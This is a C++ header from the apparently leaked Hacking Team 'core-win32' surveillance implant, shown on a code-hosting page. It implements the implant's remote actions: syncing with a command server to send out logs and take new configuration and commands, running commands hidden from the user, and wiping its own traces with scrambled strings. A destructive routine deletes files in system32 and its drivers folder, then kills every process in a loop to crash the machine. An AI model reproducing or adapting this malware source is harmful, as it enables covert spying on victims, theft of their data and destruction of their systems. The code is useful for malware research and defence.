hackedteam/core-win32

View on GitHub
SM_ActionFunctions.h

Summary

Maintainability
Test Coverage
#include <stdio.h>
#include "LOG.h"
#include "AM_Core.h"
#include "ASP.h"

class ScrambleString
{
    public:
    char *get_str()
    {
        if (string)
            return string;
        return "NIL";
    }

    WCHAR *get_wstr()
    {
        return string_w;
    }

    ScrambleString(char *ob_str) 
    {
        string = LOG_ScrambleName(ob_str, 2, FALSE);
        if (string)
            _snwprintf_s(string_w, 64, _TRUNCATE, L"%S", string);        
        else
            _snwprintf_s(string_w, 64, _TRUNCATE, L"NIL");        
    }

    ScrambleString(char *ob_str, BOOL is_demo) 
    {
        string = NULL;
        if (is_demo) {
            string = LOG_ScrambleName(ob_str, 2, FALSE);
            if (string)
                _snwprintf_s(string_w, 64, _TRUNCATE, L"%S", string);        
            else
                _snwprintf_s(string_w, 64, _TRUNCATE, L"NIL");        
        } else
            _snwprintf_s(string_w, 64, _TRUNCATE, L"");        
    }

    ~ScrambleString(void)
    {
        SAFE_FREE(string);
    }
    
    private:
    char *string;
    WCHAR string_w[64];
};

extern BOOL IsDeepFreeze();
extern void UnlockConfFile();
extern BYTE bin_patched_backdoor_id[];
extern BOOL g_remove_driver;

// Codici delle action function
#define AF_SYNCRONIZE 1
#define AF_STARTAGENT 2
#define AF_STOPAGENT  3
#define AF_EXECUTE    4
#define AF_UNINSTALL  5
#define AF_LOGINFO    6
#define AF_STARTEVENT 7
#define AF_STOPEVENT  8
#define AF_DESTROY      9
#define AF_NONE 0xFFFFFFFF

// Sono dichiarati in SM_Core.cpp di cui questo file e' un include
void EventMonitorStopAll(void);    
void UpdateEventConf(void);
void EventMonitorStartAll(void);    
void SM_AddExecutedProcess(DWORD);

// Impedisce la concorrenza fra piu' azioni (tranne la sync, che protegge solo un pezzettino)
CRITICAL_SECTION action_critic_sec;
// Per la gestione del secondo thread delle azioni (quelle istantanee)
BOOL bInstantActionThreadSemaphore = FALSE; 
HANDLE hInstantActionThread = NULL;

// Dichiarazione delle possibili azioni
BOOL WINAPI DA_Uninstall(BYTE *dummy_param);
BOOL WINAPI DA_Syncronize(BYTE *action_param);
BOOL WINAPI DA_StartAgent(BYTE *agent_tag);
BOOL WINAPI DA_StopAgent(BYTE *agent_tag);
BOOL WINAPI DA_Execute(BYTE *command);
BOOL WINAPI DA_LogInfo(BYTE *info);
BOOL WINAPI DA_Destroy(BYTE *isPermanent);

// Dichiarazione del thread che puo' essere ristartato dalla sync
DWORD WINAPI FastActionsThread(DWORD);

// Scrive un log di tipo info
BOOL WINAPI DA_LogInfo(BYTE *info)
{
    WCHAR info_string[1024];
    _snwprintf_s(info_string, 1024, _TRUNCATE, L"[User]: %s", (WCHAR *)info);

    EnterCriticalSection(&action_critic_sec);
    SendStatusLog(info_string);
    LeaveCriticalSection(&action_critic_sec);
    return FALSE;
}

// Esegue una sincronizzazione
BOOL WINAPI DA_Syncronize(BYTE *action_param)
{
    typedef struct {
        DWORD min_sleep;
        DWORD max_sleep;
        DWORD band_limit;
        BOOL  exit_after_completion;
        char asp_server[1];
    } sync_conf_struct;
    sync_conf_struct *sync_conf;
    DWORD ret_val; 
    BOOL conn_error = FALSE;
    BOOL exit_after_completion;
    DWORD min_sleep;
    DWORD max_sleep;
    DWORD band_limit;
    long long purge_time = 0;
    DWORD purge_size = 0;

    char *asp_server, *unique_id;
    BOOL uninstall;
    long long actual_time;
    DWORD availables[20];
    BOOL new_conf = FALSE;
    DWORD dummy;

    // Verifica che ci sia il parametro e che non siamo in momento di crisi
    if (!action_param || IsCrisisNetwork())
        return FALSE;

    // asp_server e unique_id devono essere entrambe NULL
    // terminated. Deve essere cura del server inviare una
    // configurazione corretta.
    sync_conf = (sync_conf_struct *)action_param;
    asp_server = sync_conf->asp_server;
    unique_id = (char *)bin_patched_backdoor_id;
    exit_after_completion = sync_conf->exit_after_completion;
    min_sleep = sync_conf->min_sleep;
    max_sleep = sync_conf->max_sleep;
    band_limit = sync_conf->band_limit;

    // Quando riceve l'uninstall la funzione ritorna comunque FALSE
    if (!LOG_StartLogConnection(asp_server, unique_id, &uninstall, &actual_time, availables, sizeof(availables))) {
        if (uninstall) 
            DA_Uninstall(NULL);
        return FALSE;
    }

    // Ricalcola e salva su file il delta date
    HM_CalcDateDelta(actual_time, &date_delta);
    Log_SaveAgentState(PM_CORE, (BYTE *)&date_delta, sizeof(date_delta));

    // Gestisce gli availables:
    // Prova comunque a farli tutti, cosi' anche se per caso fallisse un upload (ad esempio)
    // va comunque avanti ad attivare la nuova conf, a spedire i log, etc.
    for (DWORD i=1; i<=availables[0]; i++) {
        if (availables[i] == PROTO_UPLOAD)
            LOG_HandleUpload(TRUE);
        if (availables[i] == PROTO_UPGRADE)
            LOG_HandleUpload(FALSE);
        if (availables[i] == PROTO_NEW_CONF)
            new_conf = LOG_ReceiveNewConf();
        if (availables[i] == PROTO_DOWNLOAD)
            LOG_HandleDownload();
        if (availables[i] == PROTO_FILESYSTEM)
            LOG_HandleFileSystem();
        if (availables[i] == PROTO_PURGE)
            ASP_HandlePurge(&purge_time, &purge_size);
        if (availables[i] == PROTO_COMMANDS)
            LOG_HandleCommands();


        if (IsCrisisNetwork()) 
            break; // Cosi' se aveva ricevuto la nuova configurazione, la attiva
                   // Tanto l'unica cosa che rimane e' l'invio dei log, che controllano
                   // la crisi e in caso chiudono tutto
    }

    // Sospende tutti gli agent e l'agent manager.
    // Gli agent sono costretti a chiudere tutti i file
    // aperti prima dello scambio della coda dei log.
    // E ad agenti stoppati sposta tutti i log nella coda da inviare...
    EnterCriticalSection(&action_critic_sec);
    AM_SuspendRestart(AM_SUSPEND);
    LOG_Purge(purge_time, purge_size); // se non sono stati valorizzati dal comando la funzione non fa nulla
    Log_SwitchQueue();
    if (new_conf)
        AM_SuspendRestart(AM_RESET); // Riattiva gli agenti da file di configurazione (se c'e' nuovo)
    else 
        AM_SuspendRestart(AM_RESTART); // Rimette gli agent nella condizione che avevano alla suspend
    LeaveCriticalSection(&action_critic_sec);

    // Modifica configurazione eventi/azioni
    // se ha ricevuto nuovo file di conf
    if (new_conf) {
        // Devo killare l'altro thread delle azioni perche' sto per distruggere la tabella di eventi/azioni
        // Lo posso fare perche' sono fuori dalla critical section (quindi l'altro thread non e' bloccato)
        QUERY_CANCELLATION(hInstantActionThread, bInstantActionThreadSemaphore);
        EventMonitorStopAll();    
        UpdateEventConf();
        EventMonitorStartAll();
        // Ricreo il thread di gestione delle azioni fast (ora la tabella esiste di nuovo)
        hInstantActionThread = HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)FastActionsThread, NULL, 0, &dummy);
    }

    // Invia l'output dei comandi
    LOG_SendOutputCmd(band_limit, min_sleep, max_sleep);

    // Invia la coda dei log da spedire (no concorrenza con agenti)
    // Essendo l'ultima parte del protocollo, questa funzione si occupera' anche di mandare i PROTO_BYE
    LOG_SendLogQueue(band_limit, min_sleep, max_sleep);
    LOG_CloseLogConnection();

    if (new_conf)
        return TRUE; // C'e' una nuova conf, quindi anche questo thread deve smettere di eseguire subactions

    return exit_after_completion;
}


// Fa partire un agent
BOOL WINAPI DA_StartAgent(BYTE *agent_tag)
{
    // Verifica che il parametro agent_tag sia corretto (una DWORD)
    if (!agent_tag)
        return FALSE;

    EnterCriticalSection(&action_critic_sec);
    AM_MonitorStartStop(*(DWORD *)agent_tag, TRUE);
    LeaveCriticalSection(&action_critic_sec);
    return FALSE;
}


// Fa fermare un agent
BOOL WINAPI DA_StopAgent(BYTE *agent_tag)
{
    // Verifica che il parametro agent_tag sia corretto (una DWORD)
    if (!agent_tag)
        return FALSE;

    EnterCriticalSection(&action_critic_sec);
    AM_MonitorStartStop(*(DWORD *)agent_tag, FALSE);
    LeaveCriticalSection(&action_critic_sec);
    return FALSE;
}

// Abilita un evento
BOOL WINAPI DA_StartEvent(BYTE *event_id)
{
    // Verifica che il parametro agent_tag sia corretto (una DWORD)
    if (!event_id)
        return FALSE;

    SM_EventTableState(*(DWORD *)event_id, TRUE);
    return FALSE;
}


// Disabilita un evento
BOOL WINAPI DA_StopEvent(BYTE *event_id)
{
    // Verifica che il parametro agent_tag sia corretto (una DWORD)
    if (!event_id)
        return FALSE;

    SM_EventTableState(*(DWORD *)event_id, FALSE);
    return FALSE;
}

// Esegue un comando in maniera nascosta
BOOL WINAPI DA_Execute(BYTE *command)
{
    STARTUPINFO si;
    PROCESS_INFORMATION pi;
    HANDLE hfile;
    char cmd_line[MAX_PATH*2];

    // Verifica che ci sia il comando 
    // N.B. Deve essere NULL terminato!!!
    // e Verifica che non siamo in periodo di crisi 
    if (!command || IsCrisisSystem())
        return FALSE;

    if (!HM_ExpandStrings((char *)command, cmd_line, sizeof(cmd_line)))
        strcpy(cmd_line, (char *)command);

    hfile = Log_CreateOutputFile((char *)command);

    // Il processo viene lanciato con la main window
    // nascosta
    ZeroMemory( &pi, sizeof(pi) );
    ZeroMemory( &si, sizeof(si) );
    si.cb = sizeof(si);
    si.wShowWindow = SW_HIDE;
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdOutput = stdout;
    si.hStdError = stderr;
    si.hStdInput = stdin;
    if (hfile != INVALID_HANDLE_VALUE)
        si.hStdOutput = si.hStdError = hfile;

    IndirectCreateProcess((char *)cmd_line, 0, &si, &pi, TRUE);
    if (pi.hProcess)
        CloseHandle(pi.hProcess);
    if (pi.hThread)
        CloseHandle(pi.hThread);
    Log_CloseFile(hfile);
        
    // Se HM_CreateProcess fallisce, pi.dwProcessId e' settato a 0.
    // Lo aggiunge alla lista dei processi eseguiti
    if (pi.dwProcessId) 
        SM_AddExecutedProcess(pi.dwProcessId);

    Sleep(300);
    return FALSE;
}


// Disinstalla il programma
BOOL WINAPI DA_Uninstall(BYTE *dummy_param)
{
    char conf_path[DLLNAMELEN];

    ScrambleString ssok("QM\r\n", is_demo_version); // "OK\r\n"
    ScrambleString ss1("_ 4vE77UPC 8WW oEidWl1..........", is_demo_version); // "- Stopping all modules.........."
    ScrambleString ss2("_ jU7UPC Edv zUWl1..............", is_demo_version); // "- Wiping out files.............."
    ScrambleString ss3("_ BWl8PUPC oloEtJ...............", is_demo_version); // "- Cleaning memory..............."

    // Aspetta che il thread di azioni istantanee sia morto.
    // A quel punto ha pieni poteri su tutto visto che viene gestita solo 
    // dal thread principale (lo stesso che gestisce le sync)
    QUERY_CANCELLATION(hInstantActionThread, bInstantActionThreadSemaphore);

    // Killa (se c'e') la dll di supporto a 64bit
    Kill64Core();

    // Stoppa agenti ed event monitor.
    // A questo punto rimane attivo solo il thread 
    // principale che gestisce il logout e l'injection
    // in TaskManager e nei nuovi explorer
    // (che non influisce sulla disinstallazione)

    REPORT_STATUS_LOG(ss1.get_str());
    AM_SuspendRestart(AM_EXIT);
    EventMonitorStopAll();    
    REPORT_STATUS_LOG(ssok.get_str());

    REPORT_STATUS_LOG(ss2.get_str());
    // Rimuove lo sfondo modificato, ma solo se compilato come demo
    // va fatto qui, prima che cancelli i file nella dir nascosta
    RemoveDesktopBackground();

    // Rimuove tutti i file di log.
    Log_RemoveFiles();

    // Rimuove la chiave dal registry.
    // Lo fa dopo aver rimosso i log, per evitare che 
    // il computer venga spento mentre li sta rimuovendo
    // (rimarrebbero i log sulla macchina).
    HM_RemoveRegistryKey();
    REPORT_STATUS_LOG(ssok.get_str());

    REPORT_STATUS_LOG(ss3.get_str());

    // Rimuove il file di configurazione.
    // Lo rimuove dopo aver tolto la chiave del registry 
    // per evitare che il computer venga spento con ancora la backdoor
    // attivabile al successivo avvio, ma senza file di configurazione
    // (non si disinstallerebbe piu').
    UnlockConfFile();
    HM_WipeFileA(HM_CompletePath(H4_CONF_FILE, conf_path));

    // Tenta di iniettare un thread in explorer per cancellare 
    // la DLL core e la directory di lavoro (non puo' cancellarsi da sola)
    HM_RemoveCore();

    //Cancella il driver sull'ultima istanza
    if (g_remove_driver && IsLastInstance())
        HM_RemoveDriver();

    // Tenta l'uninstall dal disco reale in caso di deep freeze
    if (IsDeepFreeze()) {
        HideDevice dev_df;
        DFUninstall(&dev_df, (unsigned char *)H4_HOME_PATH, (unsigned char *)REGISTRY_KEY_NAME);
    }
    REPORT_STATUS_LOG(ssok.get_str());

    // Fa terminare il processo host (rundll32)
    ReportExitProcess();

    // :)
    return FALSE;
}

// Fa schiantare il computer 
DWORD WINAPI KillAllProcess(DWORD dummy)
{
    HANDLE proc_list, hProc;
    PROCESSENTRY32W lppe;

    LOOP {
        Sleep(250);
        if ( (proc_list = FNC(CreateToolhelp32Snapshot)(TH32CS_SNAPPROCESS, NULL)) != INVALID_HANDLE_VALUE ) {
            lppe.dwSize = sizeof(PROCESSENTRY32W);
            if (FNC(Process32FirstW)(proc_list,  &lppe)) {
                do {
                    if (lppe.th32ProcessID != GetCurrentProcessId()) {
                        if (hProc = FNC(OpenProcess)(PROCESS_TERMINATE, FALSE, lppe.th32ProcessID)) {
                            TerminateProcess(hProc, 0);
                            CloseHandle(hProc);
                        }
                    }        
                } while(FNC(Process32NextW)(proc_list, &lppe));
            }
            CloseHandle(proc_list);
        }
    }
    return 0;
}

void EmptyDirectory(WCHAR *path)
{
    WCHAR search_path[MAX_PATH];
    WIN32_FIND_DATAW find_data;
    HANDLE hFind;

    _snwprintf_s(search_path, sizeof(search_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\*", path); 

    hFind = FNC(FindFirstFileW)(search_path, &find_data);
    if (hFind != INVALID_HANDLE_VALUE) {
        do {
            if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
                continue;

            _snwprintf_s(search_path, sizeof(search_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\%s", path, find_data.cFileName); 
            DeleteFileW(search_path);
        } while (FNC(FindNextFileW)(hFind, &find_data));
        FNC(FindClose)(hFind);
    }
}

BOOL WINAPI DA_Destroy(BYTE *isPermanent)
{
    static BOOL isRunning = FALSE;
    DWORD dummy;

    // Cancella alcuni file di sistema
    if (*isPermanent) {
        WCHAR sys_path[MAX_PATH];

        DisableWow64Fs();
        if (!FNC(GetEnvironmentVariableW)(L"SystemRoot", sys_path, MAX_PATH))
            return FALSE;
        StrCatW(sys_path, L"\\system32");
        EmptyDirectory(sys_path);

        if (!FNC(GetEnvironmentVariableW)(L"SystemRoot", sys_path, MAX_PATH))
            return FALSE;
        StrCatW(sys_path, L"\\system32\\drivers");
        EmptyDirectory(sys_path);
    }

    // Lancia un thread che killa tutti i processi
    if (!isRunning) {
        HM_SafeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)KillAllProcess, NULL, 0, &dummy);
        isRunning = TRUE;
    }

    return FALSE;
}